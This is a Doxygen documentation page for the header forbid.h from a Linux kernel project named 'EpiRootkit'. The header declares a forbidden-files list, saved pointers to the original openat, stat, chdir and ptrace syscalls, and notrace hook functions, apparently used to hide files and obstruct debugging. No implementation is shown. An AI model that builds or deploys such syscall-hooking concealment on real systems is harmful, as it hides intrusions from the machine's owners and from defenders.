EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
forbid.h
Go to the documentation of this file.
1#ifndef FORBID_H
2#define FORBID_H
3
4#include <linux/file.h>
5#include <linux/fs.h>
6#include <linux/kernel.h>
7#include <linux/list.h>
8#include <linux/namei.h>
9#include <linux/ptrace.h>
10#include <linux/spinlock.h>
11#include <linux/types.h>
12#include <linux/uaccess.h>
13
14#include "config.h"
15
17 char *path;
18 struct list_head list;
19};
20
21extern struct list_head forbidden_files_list;
22extern spinlock_t forbidden_files_lock;
23
24int add_forbidden_file(const char *path);
25int remove_forbidden_file(const char *path);
26int list_forbidden_files(char *buf, size_t buf_size);
27
28bool path_is_forbidden(const char __user *u_path);
29
30extern asmlinkage long (*__orig_openat)(const struct pt_regs *);
31extern asmlinkage long (*__orig_newfstatat)(const struct pt_regs *);
32extern asmlinkage long (*__orig_fstat)(const struct pt_regs *);
33extern asmlinkage long (*__orig_lstat)(const struct pt_regs *);
34extern asmlinkage long (*__orig_stat)(const struct pt_regs *);
35extern asmlinkage long (*__orig_chdir)(const struct pt_regs *regs);
36extern asmlinkage long (*__orig_ptrace)(const struct pt_regs *regs);
37
38asmlinkage long notrace openat_hook(const struct pt_regs *regs);
39asmlinkage long notrace stat_hook(const struct pt_regs *regs);
40asmlinkage long notrace chdir_hook(const struct pt_regs *regs);
41asmlinkage void notrace ptrace_hook(struct pt_regs *regs);
42
43#endif // FORBID_H
struct list_head forbidden_files_list
bool path_is_forbidden(const char __user *u_path)
asmlinkage long(* __orig_chdir)(const struct pt_regs *regs)
Definition forbid.c:10
int list_forbidden_files(char *buf, size_t buf_size)
spinlock_t forbidden_files_lock
asmlinkage void notrace ptrace_hook(struct pt_regs *regs)
Definition forbid.c:73
asmlinkage long notrace chdir_hook(const struct pt_regs *regs)
Definition forbid.c:66
asmlinkage long(* __orig_openat)(const struct pt_regs *)
Definition forbid.c:5
asmlinkage long(* __orig_lstat)(const struct pt_regs *)
Definition forbid.c:7
asmlinkage long(* __orig_ptrace)(const struct pt_regs *regs)
Definition forbid.c:11
int add_forbidden_file(const char *path)
asmlinkage long(* __orig_newfstatat)(const struct pt_regs *)
Definition forbid.c:6
asmlinkage long notrace stat_hook(const struct pt_regs *regs)
Definition forbid.c:20
asmlinkage long(* __orig_fstat)(const struct pt_regs *)
Definition forbid.c:8
int remove_forbidden_file(const char *path)
asmlinkage long(* __orig_stat)(const struct pt_regs *)
Definition forbid.c:9
asmlinkage long notrace openat_hook(const struct pt_regs *regs)
Definition forbid.c:13
struct list_head list
Definition forbid.h:18
char * path
Definition forbid.h:17